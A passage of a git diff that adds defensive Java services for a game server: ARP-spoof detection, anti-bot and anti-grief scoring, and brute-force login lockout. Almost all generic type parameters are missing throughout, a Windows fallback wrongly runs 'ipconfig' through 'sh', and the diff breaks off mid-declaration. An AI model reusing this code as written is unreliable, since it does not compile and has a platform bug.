diff --git a/src/main/java/com/aluer/security/ARPSpoofDetectionService.java b/src/main/java/com/aluer/security/ARPSpoofDetectionService.java new file mode 100644 index 0000000..755977e --- /dev/null +++ b/src/main/java/com/aluer/security/ARPSpoofDetectionService.java @@ -0,0 +1,212 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class ARPSpoofDetectionService { + + private final Map arpCache = new ConcurrentHashMap<>(); + private final Map> arpEvents = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + private final AtomicLong totalSpoofDetections = new AtomicLong(0); + + private static final int BASELINE_SAMPLES = 3; + + public ARPSpoofDetectionService() { + buildBaseline(); + scheduler.scheduleAtFixedRate(this::scanARPTable, 30, 60, TimeUnit.SECONDS); + } + + private void buildBaseline() { + Map current = readARPTable(); + for (Map.Entry e : current.entrySet()) { + arpCache.put(e.getKey(), e.getValue()); + } + } + + public ARPScanResult scanARPTable() { + Map current = readARPTable(); + List alerts = new ArrayList<>(); + + for (Map.Entry entry : current.entrySet()) { + String ip = entry.getKey(); + String mac = entry.getValue(); + + if (mac.equals("00:00:00:00:00:00") || mac.equals("ff:ff:ff:ff:ff:ff")) { + continue; + } + + String cachedMac = arpCache.get(ip); + if (cachedMac != null && !cachedMac.equalsIgnoreCase(mac)) { + ARPEvent event = new ARPEvent( + ARPEventType.MAC_CHANGE, ip, cachedMac, mac, Instant.now(), + "ARP spoofing: IP " + ip + " MAC changed from " + cachedMac + " to " + mac + ); + alerts.add(event); + arpEvents.computeIfAbsent(ip, k -> new ArrayList<>()).add(event); + totalSpoofDetections.incrementAndGet(); + } + + // Check for duplicate MAC addresses (possible MITM) + for (Map.Entry other : current.entrySet()) { + if (!other.getKey().equals(ip) && other.getValue().equalsIgnoreCase(mac)) { + ARPEvent event = new ARPEvent( + ARPEventType.DUPLICATE_MAC, ip, mac, other.getKey(), Instant.now(), + "Duplicate MAC: " + mac + " used by both " + ip + " and " + other.getKey() + ); + alerts.add(event); + arpEvents.computeIfAbsent(ip, k -> new ArrayList<>()).add(event); + totalSpoofDetections.incrementAndGet(); + } + } + } + + // Check for gateway MAC spoofing + String gatewayIP = detectGateway(); + if (gatewayIP != null) { + String gatewayMac = current.get(gatewayIP); + String cachedGatewayMac = arpCache.get(gatewayIP); + if (gatewayMac != null && cachedGatewayMac != null && !gatewayMac.equalsIgnoreCase(cachedGatewayMac)) { + ARPEvent event = new ARPEvent( + ARPEventType.GATEWAY_SPOOF, gatewayIP, cachedGatewayMac, gatewayMac, Instant.now(), + "Gateway ARP spoofing detected: " + gatewayIP + ); + alerts.add(event); + arpEvents.computeIfAbsent(gatewayIP, k -> new ArrayList<>()).add(event); + totalSpoofDetections.incrementAndGet(); + } + } + + arpCache.clear(); + arpCache.putAll(current); + + return new ARPScanResult(alerts, current.size(), totalSpoofDetections.get()); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("arpCacheSize", arpCache.size()); + status.put("totalSpoofDetections", totalSpoofDetections.get()); + status.put("monitoredIPs", new ArrayList<>(arpCache.keySet())); + List> recentEvents = new ArrayList<>(); + for (Map.Entry> e : arpEvents.entrySet()) { + for (ARPEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("ip", e.getKey()); + m.put("type", event.type.name()); + m.put("oldMac", event.oldMac); + m.put("newMac", event.newMac); + m.put("time", event.timestamp.toString()); + m.put("message", event.message); + recentEvents.add(m); + } + } + recentEvents.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentEvents", recentEvents.subList(0, Math.min(recentEvents.size(), 20))); + return status; + } + + public long getTotalSpoofDetections() { return totalSpoofDetections.get(); } + + private Map readARPTable() { + Map table = new LinkedHashMap<>(); + try { + Process proc = Runtime.getRuntime().exec(new String[]{"arp", "-a"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + line = line.trim(); + if (line.isEmpty() || line.startsWith("Interface") || line.startsWith("Internet")) continue; + // Windows: "192.168.1.1 00-11-22-33-44-55 dynamic" + // Linux: "gateway (192.168.1.1) at 00:11:22:33:44:55 [ether] on eth0" + String[] tokens = line.split("\\s+"); + String ip = null, mac = null; + for (String token : tokens) { + token = token.replaceAll("[()]", ""); + if (token.matches("\\d+\\.\\d+\\.\\d+\\.\\d+")) { + ip = token; + } + if (token.matches("[0-9A-Fa-f]{1,2}[-:][0-9A-Fa-f]{1,2}[-:][0-9A-Fa-f]{1,2}[-:][0-9A-Fa-f]{1,2}[-:][0-9A-Fa-f]{1,2}[-:][0-9A-Fa-f]{1,2}")) { + mac = token.replace('-', ':').toLowerCase(); + } + } + if (ip != null && mac != null) { + table.put(ip, mac); + } + } + } + } catch (Exception ignored) { + // arp command not available, silent fail + } + return table; + } + + private String detectGateway() { + try { + Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "ip route | grep default | awk '{print $3}'"}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line = reader.readLine(); + if (line != null && !line.trim().isEmpty()) return line.trim(); + } + // Fallback to Windows + proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", "ipconfig | findstr /i \"Default Gateway\" | findstr /v \"::\""}); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()))) { + String line = reader.readLine(); + if (line != null) { + String[] parts = line.split(":"); + if (parts.length >= 2) return parts[parts.length - 1].trim(); + } + } + } catch (Exception ignored) { + // silent fail + } + return null; + } + + public enum ARPEventType { MAC_CHANGE, DUPLICATE_MAC, GATEWAY_SPOOF } + + public static class ARPEvent { + public final ARPEventType type; + public final String ip; + public final String oldMac; + public final String newMac; + public final Instant timestamp; + public final String message; + + ARPEvent(ARPEventType type, String ip, String oldMac, String newMac, Instant timestamp, String message) { + this.type = type; + this.ip = ip; + this.oldMac = oldMac; + this.newMac = newMac; + this.timestamp = timestamp; + this.message = message; + } + } + + public static class ARPScanResult { + public final List alerts; + public final int tableSize; + public final long totalDetections; + + ARPScanResult(List alerts, int tableSize, long totalDetections) { + this.alerts = alerts; + this.tableSize = tableSize; + this.totalDetections = totalDetections; + } + + public boolean hasAlerts() { return !alerts.isEmpty(); } + public List getAlerts() { return alerts; } + public int getTableSize() { return tableSize; } + public long getTotalDetections() { return totalDetections; } + } +} diff --git a/src/main/java/com/aluer/security/AntiBotDetectionService.java b/src/main/java/com/aluer/security/AntiBotDetectionService.java new file mode 100644 index 0000000..39f2027 --- /dev/null +++ b/src/main/java/com/aluer/security/AntiBotDetectionService.java @@ -0,0 +1,232 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class AntiBotDetectionService { + + private final Map joinHistory = new ConcurrentHashMap<>(); + private final Map> ipJoinTimeline = new ConcurrentHashMap<>(); + private final Map blockedBots = new ConcurrentHashMap<>(); + private final Map botScoreByIP = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + + // Minecraft bot behavior thresholds + private static final long JOIN_VELOCITY_WINDOW_MS = 3000; + private static final int MAX_JOINS_IN_VELOCITY_WINDOW = 5; + private static final int MAX_ACCOUNTS_PER_IP = 4; + private static final long IP_JOIN_WINDOW_SECONDS = 300; + private static final int MAX_JOINS_PER_IP_IN_WINDOW = 20; + private static final long BOT_BLOCK_SECONDS = 3600; + private static final int BOT_SCORE_THRESHOLD = 75; + + // Known bot username patterns + private static final List BOT_NAME_PATTERNS = List.of( + "^[A-Za-z]{2,4}\\d{4,8}$", + "^Bot_\\w+$", + "^\\w+Bot$", + "^[a-z]{3,6}[0-9]{3,6}$", + "^MC-\\w+$", + "^[A-Z]{2,4}_[a-z]{3,6}$" + ); + + private static final Set KNOWN_BOT_PREFIXES = Set.of( + "Bot", "MCBot", "Headless", "Auto", "Cracked", + "Spambot", "Joinbot", "Pingbot", "Nullbot" + ); + + private final AtomicLong totalBotsDetected = new AtomicLong(0); + private final AtomicLong totalBotsBlocked = new AtomicLong(0); + + public AntiBotDetectionService() { + scheduler.scheduleAtFixedRate(this::cleanupExpired, 120, 300, TimeUnit.SECONDS); + } + + public BotCheckResult checkPlayerJoin(String playerName, String ip, String clientBrand) { + if (blockedBots.containsKey(ip)) { + Instant until = blockedBots.get(ip); + if (Instant.now().isAfter(until)) { + blockedBots.remove(ip); + } else { + return BotCheckResult.blocked("IP is bot-blocked until " + until); + } + } + + int score = 0; + List reasons = new ArrayList<>(); + + // Rule 1: Suspicious username patterns + if (matchesBotNamePattern(playerName) || hasBotPrefix(playerName)) { + score += 25; + reasons.add("BOT_NAME_PATTERN: " + playerName); + } + + // Rule 2: Join velocity (too many joins in short time from same IP) + List joins = ipJoinTimeline.computeIfAbsent(ip, k -> new ArrayList<>()); + joins.add(Instant.now()); + long velocityCutoff = System.currentTimeMillis() - JOIN_VELOCITY_WINDOW_MS; + long recentJoins = joins.stream().filter(t -> t.toEpochMilli() > velocityCutoff).count(); + if (recentJoins > MAX_JOINS_IN_VELOCITY_WINDOW) { + score += 35; + reasons.add("JOIN_VELOCITY: " + recentJoins + " joins in " + JOIN_VELOCITY_WINDOW_MS + "ms"); + } + + // Rule 3: Too many accounts from same IP + PlayerJoinRecord record = joinHistory.computeIfAbsent(ip, k -> new PlayerJoinRecord()); + record.playerNames.add(playerName); + if (record.playerNames.size() > MAX_ACCOUNTS_PER_IP) { + score += 30; + reasons.add("MULTI_ACCOUNT: " + record.playerNames.size() + " accounts from IP " + ip); + } + + // Rule 4: Total joins from IP in time window + Instant windowCutoff = Instant.now().minusSeconds(IP_JOIN_WINDOW_SECONDS); + joins.removeIf(t -> t.isBefore(windowCutoff)); + if (joins.size() > MAX_JOINS_PER_IP_IN_WINDOW) { + score += 20; + reasons.add("IP_JOIN_FLOOD: " + joins.size() + " joins in " + IP_JOIN_WINDOW_SECONDS + "s"); + } + + // Rule 5: Suspicious client brand + if (clientBrand != null && isSuspiciousClient(clientBrand)) { + score += 15; + reasons.add("SUSPICIOUS_CLIENT: " + clientBrand); + } + + // Rule 6: Cumulative bot score + int existingScore = botScoreByIP.getOrDefault(ip, 0); + botScoreByIP.put(ip, existingScore + score); + + boolean isBot = score >= BOT_SCORE_THRESHOLD || (existingScore + score) >= BOT_SCORE_THRESHOLD; + if (isBot) { + blockedBots.put(ip, Instant.now().plusSeconds(BOT_BLOCK_SECONDS)); + totalBotsDetected.incrementAndGet(); + totalBotsBlocked.incrementAndGet(); + return BotCheckResult.detected(score, reasons, BOT_BLOCK_SECONDS); + } + + record.lastJoin = Instant.now(); + return score > 0 ? BotCheckResult.suspicious(score, reasons) : BotCheckResult.clean(); + } + + public void unblockIP(String ip) { + blockedBots.remove(ip); + botScoreByIP.remove(ip); + joinHistory.remove(ip); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("trackedIPs", joinHistory.size()); + status.put("blockedBots", blockedBots.size()); + status.put("totalBotsDetected", totalBotsDetected.get()); + status.put("totalBotsBlocked", totalBotsBlocked.get()); + List> blocked = new ArrayList<>(); + for (Map.Entry e : blockedBots.entrySet()) { + Map entry = new LinkedHashMap<>(); + entry.put("ip", e.getKey()); + entry.put("until", e.getValue().toString()); + PlayerJoinRecord rec = joinHistory.get(e.getKey()); + if (rec != null) entry.put("accounts", new ArrayList<>(rec.playerNames)); + entry.put("botScore", botScoreByIP.getOrDefault(e.getKey(), 0)); + blocked.add(entry); + } + status.put("blockedList", blocked); + return status; + } + + public long getTotalBotsDetected() { return totalBotsDetected.get(); } + public long getTotalBotsBlocked() { return totalBotsBlocked.get(); } + + private boolean matchesBotNamePattern(String name) { + if (name == null) return false; + for (String pattern : BOT_NAME_PATTERNS) { + if (name.matches(pattern)) return true; + } + return false; + } + + private boolean hasBotPrefix(String name) { + if (name == null) return false; + for (String prefix : KNOWN_BOT_PREFIXES) { + if (name.toLowerCase().startsWith(prefix.toLowerCase())) return true; + } + return false; + } + + private boolean isSuspiciousClient(String brand) { + if (brand == null) return true; // null brand = suspicious + String lower = brand.toLowerCase(); + return lower.contains("bot") || lower.contains("headless") + || lower.contains("cracked") || lower.contains("hack") + || lower.contains("inject") || lower.contains("cheat"); + } + + private void cleanupExpired() { + Instant now = Instant.now(); + blockedBots.entrySet().removeIf(e -> e.getValue().isBefore(now)); + ipJoinTimeline.entrySet().removeIf(e -> { + e.getValue().removeIf(t -> t.isBefore(now.minusSeconds(IP_JOIN_WINDOW_SECONDS * 2))); + return e.getValue().isEmpty(); + }); + } + + private static class PlayerJoinRecord { + final Set playerNames = new HashSet<>(); + Instant lastJoin = Instant.now(); + } + + public static class BotCheckResult { + private final boolean blocked; + private final boolean detected; + private final boolean suspicious; + private final int score; + private final List reasons; + private final String message; + private final long blockSeconds; + + private BotCheckResult(boolean blocked, boolean detected, boolean suspicious, int score, + List reasons, String message, long blockSeconds) { + this.blocked = blocked; + this.detected = detected; + this.suspicious = suspicious; + this.score = score; + this.reasons = reasons; + this.message = message; + this.blockSeconds = blockSeconds; + } + + public static BotCheckResult clean() { + return new BotCheckResult(false, false, false, 0, List.of(), null, 0); + } + + public static BotCheckResult suspicious(int score, List reasons) { + return new BotCheckResult(false, false, true, score, reasons, "Suspicious bot activity: " + String.join("; ", reasons), 0); + } + + public static BotCheckResult detected(int score, List reasons, long blockSeconds) { + return new BotCheckResult(true, true, true, score, reasons, + "Bot detected: " + String.join("; ", reasons), blockSeconds); + } + + public static BotCheckResult blocked(String message) { + return new BotCheckResult(true, false, false, 0, List.of(), message, 0); + } + + public boolean isBlocked() { return blocked; } + public boolean isDetected() { return detected; } + public boolean isSuspicious() { return suspicious; } + public int getScore() { return score; } + public List getReasons() { return reasons; } + public String getMessage() { return message; } + public long getBlockSeconds() { return blockSeconds; } + } +} diff --git a/src/main/java/com/aluer/security/AntiGriefDetectionService.java b/src/main/java/com/aluer/security/AntiGriefDetectionService.java new file mode 100644 index 0000000..811b388 --- /dev/null +++ b/src/main/java/com/aluer/security/AntiGriefDetectionService.java @@ -0,0 +1,334 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class AntiGriefDetectionService { + + private final Map playerActivities = new ConcurrentHashMap<>(); + private final Map> griefEvents = new ConcurrentHashMap<>(); + private final Map flaggedPlayers = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + private final AtomicLong totalGriefDetections = new AtomicLong(0); + + // Grief detection thresholds + private static final int MAX_BLOCKS_BROKEN_PER_MINUTE = 150; + private static final int MAX_BLOCKS_PLACED_PER_MINUTE = 200; + private static final int MAX_ENTITIES_KILLED_PER_MINUTE = 30; + private static final int MAX_CONTAINERS_OPENED_PER_MINUTE = 60; + private static final int MAX_CHAT_MESSAGES_PER_MINUTE = 20; + private static final int MAX_SIGN_CHANGES_PER_MINUTE = 10; + private static final long ACTIVITY_WINDOW_MS = 60000; + + private static final Set GRIEF_BLOCKS = Set.of( + "TNT", "LAVA", "WATER", "FIRE", "RESPAWN_ANCHOR", "END_CRYSTAL", + "BED", "OBSIDIAN", "WITHER_SKULL", "WITHER_SUMMON" + ); + + private static final Set PROTECTED_CONTAINERS = Set.of( + "CHEST", "ENDER_CHEST", "SHULKER_BOX", "BARREL", "FURNACE", + "HOPPER", "DISPENSER", "DROPPER", "BREWING_STAND", "BEACON" + ); + + public AntiGriefDetectionService() { + scheduler.scheduleAtFixedRate(this::cleanupOldData, 120, 300, TimeUnit.SECONDS); + } + + public GriefCheckResult checkBlockBreak(String playerName, String blockType, int x, int y, int z, String world) { + PlayerActivity activity = playerActivities.computeIfAbsent(playerName, k -> new PlayerActivity()); + activity.recordBlockBreak(blockType, x, y, z, world); + + int score = 0; + List reasons = new ArrayList<>(); + + // Check block break rate + if (activity.blocksBrokenPerMinute > MAX_BLOCKS_BROKEN_PER_MINUTE) { + score += 30; + reasons.add("RAPID_BREAK: " + activity.blocksBrokenPerMinute + "/min"); + } + + // Grief blocks + if (GRIEF_BLOCKS.contains(blockType.toUpperCase())) { + score += 15; + reasons.add("GRIEF_BLOCK: " + blockType); + } + + // Check for grief patterns (breaking many blocks in a line = tunnel grief) + if (activity.isTunneling(x, y, z)) { + score += 20; + reasons.add("TUNNEL_PATTERN"); + } + + // Check for container theft + if (PROTECTED_CONTAINERS.contains(blockType.toUpperCase())) { + score += 10; + reasons.add("CONTAINER_ACCESS: " + blockType); + } + + if (score >= 40) { + return flagPlayer(playerName, "block_break", score, reasons); + } + + return score > 0 ? GriefCheckResult.suspicious(score, reasons) : GriefCheckResult.clean(); + } + + public GriefCheckResult checkBlockPlace(String playerName, String blockType, int x, int y, int z, String world) { + PlayerActivity activity = playerActivities.computeIfAbsent(playerName, k -> new PlayerActivity()); + activity.recordBlockPlace(blockType, x, y, z, world); + + int score = 0; + List reasons = new ArrayList<>(); + + if (activity.blocksPlacedPerMinute > MAX_BLOCKS_PLACED_PER_MINUTE) { + score += 25; + reasons.add("RAPID_PLACE: " + activity.blocksPlacedPerMinute + "/min"); + } + + if (GRIEF_BLOCKS.contains(blockType.toUpperCase())) { + score += 20; + reasons.add("GRIEF_BLOCK_PLACED: " + blockType); + } + + if (score >= 30) { + return flagPlayer(playerName, "block_place", score, reasons); + } + + return score > 0 ? GriefCheckResult.suspicious(score, reasons) : GriefCheckResult.clean(); + } + + public GriefCheckResult checkEntityKill(String playerName, String entityType, String world) { + PlayerActivity activity = playerActivities.computeIfAbsent(playerName, k -> new PlayerActivity()); + activity.recordEntityKill(entityType); + + int score = 0; + List reasons = new ArrayList<>(); + + if (activity.entitiesKilledPerMinute > MAX_ENTITIES_KILLED_PER_MINUTE) { + score += 25; + reasons.add("ENTITY_SLAUGHTER: " + activity.entitiesKilledPerMinute + "/min"); + } + + if (score >= 25) { + return flagPlayer(playerName, "entity_kill", score, reasons); + } + + return GriefCheckResult.clean(); + } + + public GriefCheckResult checkContainerOpen(String playerName, String containerType, int x, int y, int z) { + PlayerActivity activity = playerActivities.computeIfAbsent(playerName, k -> new PlayerActivity()); + activity.recordContainerOpen(containerType); + + int score = 0; + List reasons = new ArrayList<>(); + + if (activity.containersOpenedPerMinute > MAX_CONTAINERS_OPENED_PER_MINUTE) { + score += 20; + reasons.add("CONTAINER_SPAM: " + activity.containersOpenedPerMinute + "/min"); + } + + if (score >= 20) { + return flagPlayer(playerName, "container_spam", score, reasons); + } + + return GriefCheckResult.clean(); + } + + public GriefCheckResult checkChatSpam(String playerName, String message) { + PlayerActivity activity = playerActivities.computeIfAbsent(playerName, k -> new PlayerActivity()); + activity.recordChatMessage(); + + if (activity.chatMessagesPerMinute > MAX_CHAT_MESSAGES_PER_MINUTE) { + return flagPlayer(playerName, "chat_spam", + 30, List.of("CHAT_SPAM: " + activity.chatMessagesPerMinute + "/min")); + } + + return GriefCheckResult.clean(); + } + + public void clearPlayer(String playerName) { + playerActivities.remove(playerName); + flaggedPlayers.remove(playerName); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("trackedPlayers", playerActivities.size()); + status.put("flaggedPlayers", flaggedPlayers.size()); + status.put("totalGriefDetections", totalGriefDetections.get()); + + List> flagged = new ArrayList<>(); + for (Map.Entry e : flaggedPlayers.entrySet()) { + Map m = new LinkedHashMap<>(); + m.put("player", e.getKey()); + m.put("flaggedUntil", e.getValue().toString()); + List events = griefEvents.get(e.getKey()); + if (events != null && !events.isEmpty()) { + GriefEvent last = events.get(events.size() - 1); + m.put("lastReason", last.reasons); + m.put("lastScore", last.score); + } + PlayerActivity act = playerActivities.get(e.getKey()); + if (act != null) { + m.put("blocksBrokenPerMinute", act.blocksBrokenPerMinute); + m.put("blocksPlacedPerMinute", act.blocksPlacedPerMinute); + } + flagged.add(m); + } + status.put("flaggedPlayersList", flagged); + return status; + } + + public long getTotalGriefDetections() { return totalGriefDetections.get(); } + + private GriefCheckResult flagPlayer(String playerName, String actionType, int score, List reasons) { + GriefEvent event = new GriefEvent(Instant.now(), playerName, actionType, score, reasons); + griefEvents.computeIfAbsent(playerName, k -> new ArrayList<>()).add(event); + flaggedPlayers.put(playerName, Instant.now().plusSeconds(1800)); + totalGriefDetections.incrementAndGet(); + return GriefCheckResult.flagged(score, reasons); + } + + private void cleanupOldData() { + Instant cutoff = Instant.now().minusSeconds(3600); + playerActivities.entrySet().removeIf(e -> { + e.getValue().cleanupOldEvents(cutoff); + return e.getValue().isEmpty(); + }); + flaggedPlayers.entrySet().removeIf(e -> e.getValue().isBefore(Instant.now())); + } + + private static class PlayerActivity { + final List blockBreaks = new ArrayList<>(); + final List blockPlaces = new ArrayList<>(); + final List entityKills = new ArrayList<>(); + final List containerOpens = new ArrayList<>(); + final List chatMessages = new ArrayList<>(); + + int blocksBrokenPerMinute; + int blocksPlacedPerMinute; + int entitiesKilledPerMinute; + int containersOpenedPerMinute; + int chatMessagesPerMinute; + + private int lastBreakX, lastBreakY, lastBreakZ; + + void recordBlockBreak(String type, int x, int y, int z, String world) { + blockBreaks.add(new TimedEvent(Instant.now(), type, x, y, z)); + lastBreakX = x; lastBreakY = y; lastBreakZ = z; + updateRates(); + } + + void recordBlockPlace(String type, int x, int y, int z, String world) { + blockPlaces.add(new TimedEvent(Instant.now(), type, x, y, z)); + updateRates(); + } + + void recordEntityKill(String type) { + entityKills.add(new TimedEvent(Instant.now(), type, 0, 0, 0)); + updateRates(); + } + + void recordContainerOpen(String type) { + containerOpens.add(new TimedEvent(Instant.now(), type, 0, 0, 0)); + updateRates(); + } + + void recordChatMessage() { + chatMessages.add(new TimedEvent(Instant.now(), "", 0, 0, 0)); + updateRates(); + } + + boolean isTunneling(int x, int y, int z) { + return Math.abs(x - lastBreakX) <= 1 && Math.abs(y - lastBreakY) <= 1 + && Math.abs(z - lastBreakZ) <= 1 && blockBreaks.size() > 20; + } + + void updateRates() { + long cutoff = System.currentTimeMillis() - ACTIVITY_WINDOW_MS; + blocksBrokenPerMinute = (int) blockBreaks.stream().filter(e -> e.time.toEpochMilli() > cutoff).count(); + blocksPlacedPerMinute = (int) blockPlaces.stream().filter(e -> e.time.toEpochMilli() > cutoff).count(); + entitiesKilledPerMinute = (int) entityKills.stream().filter(e -> e.time.toEpochMilli() > cutoff).count(); + containersOpenedPerMinute = (int) containerOpens.stream().filter(e -> e.time.toEpochMilli() > cutoff).count(); + chatMessagesPerMinute = (int) chatMessages.stream().filter(e -> e.time.toEpochMilli() > cutoff).count(); + } + + void cleanupOldEvents(Instant cutoff) { + blockBreaks.removeIf(e -> e.time.isBefore(cutoff)); + blockPlaces.removeIf(e -> e.time.isBefore(cutoff)); + entityKills.removeIf(e -> e.time.isBefore(cutoff)); + containerOpens.removeIf(e -> e.time.isBefore(cutoff)); + chatMessages.removeIf(e -> e.time.isBefore(cutoff)); + } + + boolean isEmpty() { + return blockBreaks.isEmpty() && blockPlaces.isEmpty() && entityKills.isEmpty() + && containerOpens.isEmpty() && chatMessages.isEmpty(); + } + } + + private static class TimedEvent { + final Instant time; + final String type; + final int x, y, z; + + TimedEvent(Instant time, String type, int x, int y, int z) { + this.time = time; + this.type = type; + this.x = x; + this.y = y; + this.z = z; + } + } + + private static class GriefEvent { + final Instant timestamp; + final String playerName; + final String actionType; + final int score; + final List reasons; + + GriefEvent(Instant timestamp, String playerName, String actionType, int score, List reasons) { + this.timestamp = timestamp; + this.playerName = playerName; + this.actionType = actionType; + this.score = score; + this.reasons = reasons; + } + } + + public static class GriefCheckResult { + private final boolean flagged; + private final boolean suspicious; + private final int score; + private final List reasons; + + private GriefCheckResult(boolean flagged, boolean suspicious, int score, List reasons) { + this.flagged = flagged; + this.suspicious = suspicious; + this.score = score; + this.reasons = reasons; + } + + public static GriefCheckResult clean() { return new GriefCheckResult(false, false, 0, List.of()); } + public static GriefCheckResult suspicious(int score, List reasons) { + return new GriefCheckResult(false, true, score, reasons); + } + public static GriefCheckResult flagged(int score, List reasons) { + return new GriefCheckResult(true, true, score, reasons); + } + + public boolean isFlagged() { return flagged; } + public boolean isSuspicious() { return suspicious; } + public int getScore() { return score; } + public List getReasons() { return reasons; } + } +} diff --git a/src/main/java/com/aluer/security/BruteForceProtectionService.java b/src/main/java/com/aluer/security/BruteForceProtectionService.java new file mode 100644 index 0000000..6efeb33 --- /dev/null +++ b/src/main/java/com/aluer/security/BruteForceProtectionService.java @@ -0,0 +1,213 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class BruteForceProtectionService { + + private final Map failureTracker = new ConcurrentHashMap<>(); + private final Map blockedAccounts = new ConcurrentHashMap<>(); + private final Map> ipAttemptTimeline = new ConcurrentHashMap<>(); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + + private static final int MAX_ATTEMPTS_WINDOW_1 = 5; + private static final int MAX_ATTEMPTS_WINDOW_2 = 15; + private static final int MAX_ATTEMPTS_WINDOW_3 = 50; + private static final long WINDOW_1_SECONDS = 60; + private static final long WINDOW_2_SECONDS = 600; + private static final long WINDOW_3_SECONDS = 3600; + + private static final long BASE_BLOCK_SECONDS = 300; + private static final long ESCALATED_BLOCK_SECONDS = 1800; + private static final long MAX_BLOCK_SECONDS = 7200; + + private static final long PROGRESSIVE_DELAY_BASE_MS = 1000; + private static final long PROGRESSIVE_DELAY_PER_FAILURE_MS = 500; + private static final long MAX_PROGRESSIVE_DELAY_MS = 15000; + + private static final int IP_GLOBAL_MAX_ATTEMPTS = 100; + private static final long IP_WINDOW_SECONDS = 600; + + private final AtomicLong totalBlocks = new AtomicLong(0); + private final AtomicLong totalBruteForceDetections = new AtomicLong(0); + + public BruteForceProtectionService() { + scheduler.scheduleAtFixedRate(this::cleanupExpired, 60, 120, TimeUnit.SECONDS); + } + + public AuthResult checkLoginAttempt(String username, String ip, String source) { + if (isBlocked(username)) { + return AuthResult.blocked("Account " + username + " is temporarily locked due to excessive failed attempts"); + } + + if (isIPGloballyBlocked(ip)) { + return AuthResult.blocked("IP " + ip + " is temporarily blocked due to global brute force activity"); + } + + FailureRecord record = failureTracker.computeIfAbsent(username, k -> new FailureRecord()); + long now = Instant.now().getEpochSecond(); + + record.attemptsInWindow1.removeIf(t -> now - t > WINDOW_1_SECONDS); + record.attemptsInWindow2.removeIf(t -> now - t > WINDOW_2_SECONDS); + record.attemptsInWindow3.removeIf(t -> now - t > WINDOW_3_SECONDS); + + int w1 = record.attemptsInWindow1.size(); + int w2 = record.attemptsInWindow2.size(); + int w3 = record.attemptsInWindow3.size(); + + if (w1 >= MAX_ATTEMPTS_WINDOW_1) { + return handleBruteForce(username, ip, "Window1: " + w1 + " attempts in " + WINDOW_1_SECONDS + "s", BASE_BLOCK_SECONDS); + } + if (w2 >= MAX_ATTEMPTS_WINDOW_2) { + return handleBruteForce(username, ip, "Window2: " + w2 + " attempts in " + WINDOW_2_SECONDS + "s", ESCALATED_BLOCK_SECONDS); + } + if (w3 >= MAX_ATTEMPTS_WINDOW_3) { + return handleBruteForce(username, ip, "Window3: " + w3 + " attempts in " + WINDOW_3_SECONDS + "s", MAX_BLOCK_SECONDS); + } + + long delay = Math.min(PROGRESSIVE_DELAY_BASE_MS + (record.failureCount * PROGRESSIVE_DELAY_PER_FAILURE_MS), MAX_PROGRESSIVE_DELAY_MS); + record.lastDelayMs = delay; + + return AuthResult.allowed(delay); + } + + public void recordFailedAttempt(String username, String ip) { + FailureRecord record = failureTracker.computeIfAbsent(username, k -> new FailureRecord()); + long now = Instant.now().getEpochSecond(); + record.attemptsInWindow1.add(now); + record.attemptsInWindow2.add(now); + record.attemptsInWindow3.add(now); + record.failureCount++; + record.lastFailure = Instant.now(); + + ipAttemptTimeline.computeIfAbsent(ip, k -> new ArrayList<>()).add(Instant.now()); + } + + public void recordSuccessfulAttempt(String username, String ip) { + failureTracker.remove(username); + ipAttemptTimeline.remove(ip); + } + + public void unblock(String username) { + blockedAccounts.remove(username); + failureTracker.remove(username); + } + + public boolean isBlocked(String username) { + Instant blockedUntil = blockedAccounts.get(username); + if (blockedUntil == null) return false; + if (Instant.now().isAfter(blockedUntil)) { + blockedAccounts.remove(username); + return false; + } + return true; + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("trackedAccounts", failureTracker.size()); + status.put("blockedAccounts", blockedAccounts.size()); + status.put("totalBlocks", totalBlocks.get()); + status.put("totalBruteForceDetections", totalBruteForceDetections.get()); + List> blocked = new ArrayList<>(); + for (Map.Entry e : blockedAccounts.entrySet()) { + Map entry = new LinkedHashMap<>(); + entry.put("account", e.getKey()); + entry.put("until", e.getValue().toString()); + entry.put("remainingSeconds", Math.max(0, e.getValue().getEpochSecond() - Instant.now().getEpochSecond())); + blocked.add(entry); + } + status.put("blockedList", blocked); + return status; + } + + public int 